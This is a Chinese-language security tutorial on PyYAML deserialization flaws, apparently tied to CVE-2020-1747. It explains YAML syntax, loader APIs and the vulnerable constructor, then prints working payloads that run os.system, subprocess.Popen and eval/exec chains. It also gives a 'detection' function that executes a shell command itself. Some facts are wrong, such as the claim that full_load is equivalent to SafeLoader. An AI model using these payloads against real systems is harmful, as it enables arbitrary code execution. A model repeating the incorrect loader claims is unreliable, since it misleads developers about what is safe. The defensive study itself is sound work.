PyYAML反序列化漏洞深度解析与防御指南

一、YAML基础概述

1.1 YAML简介

YAML（"YAML Ain't Markup Language"）是一种轻量级的数据序列化语言，设计目标是成为人类可读的数据交换格式。其特点包括：

• 文件扩展名通常为.yml
• 使用缩进表示层级关系（仅允许空格）
• 支持多种数据类型：标量、序列、映射
• 支持注释（#开头）和引用

1.2 YAML基本语法

# 示例文档
person:
  name: John
  age: 30
  address:
    street: Main St.
    city: Anytown
  hobbies:
    - reading
    - hiking

1.3 YAML高级特性

• 多文档支持：使用---分隔多个文档，...表示结束
• 数据类型：
  • 标量：字符串、数字、布尔值
  • 序列（列表）：使用-表示
  • 映射（键值对）：使用:分隔
• 类型转换：使用!!强制转换类型，如!!int "123"
• 引用机制：使用&定义锚点，*引用锚点

二、PyYAML序列化与反序列化

2.1 序列化方法

import yaml

data = {'key': 'value'}
yaml_data = yaml.dump(data)  # Python对象 → YAML字符串

2.2 反序列化方法

PyYAML<=5.1版本：

data = yaml.load(yaml_data)  # 默认使用不安全的Constructor加载器
data = yaml.load(yaml_data, Loader=yaml.Loader)

PyYAML>5.1版本：

# 安全加载器
data = yaml.load(yaml_data, Loader=yaml.SafeLoader)
data = yaml.full_load(yaml_data)  # 等同于使用SafeLoader

# 不安全加载器
data = yaml.unsafe_load(yaml_data)  # 可能执行任意代码

三、漏洞成因分析

3.1 漏洞根源

PyYAML<=5.1版本中，Constructor.py的make_python_instance()函数存在安全隐患：

def make_python_instance(self, suffix, node, args=None, kwds=None, newobj=False):
    cls = self.find_python_name(suffix, node.start_mark)
    if newobj and isinstance(cls, type):
        return cls.__new__(cls, *args, **kwds)  # 危险点：动态创建对象
    else:
        return cls(*args, **kwds)  # 危险点：直接调用构造函数

3.2 危险标签

以下YAML标签可导致代码执行：

• !!python/object
• !!python/object/new
• !!python/object/apply
• !!python/module
• !!python/name

四、漏洞利用技术

4.1 基础利用方式

# 执行系统命令
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]

# 利用subprocess模块
!!python/object/apply:subprocess.Popen ["calc.exe"]

4.2 高级利用技术

# 利用builtins模块
!!python/object/new:bytes
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('calc.exe')"]

# 利用类型转换漏洞
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"

4.3 特殊场景利用

结合文件上传：

!!python/module:uploads.eval  # 加载上传的恶意模块

绕过认证检查：

key: !!python/name:__main__.KEY  # 直接引用程序中的变量

五、不同版本差异与防御

5.1 PyYAML<=5.1

• 默认使用不安全的Constructor加载器
• 所有反序列化方法均存在风险

5.2 PyYAML>5.1

• 新增安全加载器：
  • SafeLoader：限制可加载的对象类型
  • FullLoader：允许加载任意对象但更安全
  • UnsafeLoader：等同于旧版的Loader
• 默认行为变更：
  • load()必须显式指定Loader参数
  • 新增full_load()和unsafe_load()方法

5.3 防御措施

1. 升级PyYAML：使用最新版本（>=5.4.1）
2. 使用安全加载器：

   yaml.safe_load(yaml_data)
   

3. 输入过滤：禁止加载用户提供的YAML中的危险标签
4. 替代方案：考虑使用ruamel.yaml等更安全的库

六、漏洞检测与验证

6.1 测试Payload

import yaml

# 基本测试
poc = '!!python/object/apply:os.system ["calc.exe"]'
try:
    yaml.load(poc)
except:
    pass

# 高版本绕过测试
poc = '''
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["print('Vulnerable')"]
'''
yaml.load(poc, Loader=yaml.UnsafeLoader)

6.2 自动化检测

def check_pyyaml_vuln():
    try:
        import yaml
        from yaml import Loader
        poc = '!!python/object/apply:os.system ["echo 1"]'
        yaml.load(poc, Loader=Loader)
        return "Vulnerable"
    except:
        return "Patched"

七、相关资源

1. 官方修复提交：PR #386
2. 安全公告：CVE-2020-1747
3. 替代方案：ruamel.yaml

注：本文档仅供安全研究和防御参考，请勿用于非法用途。在实际生产环境中使用PyYAML时，务必采取适当的安全措施。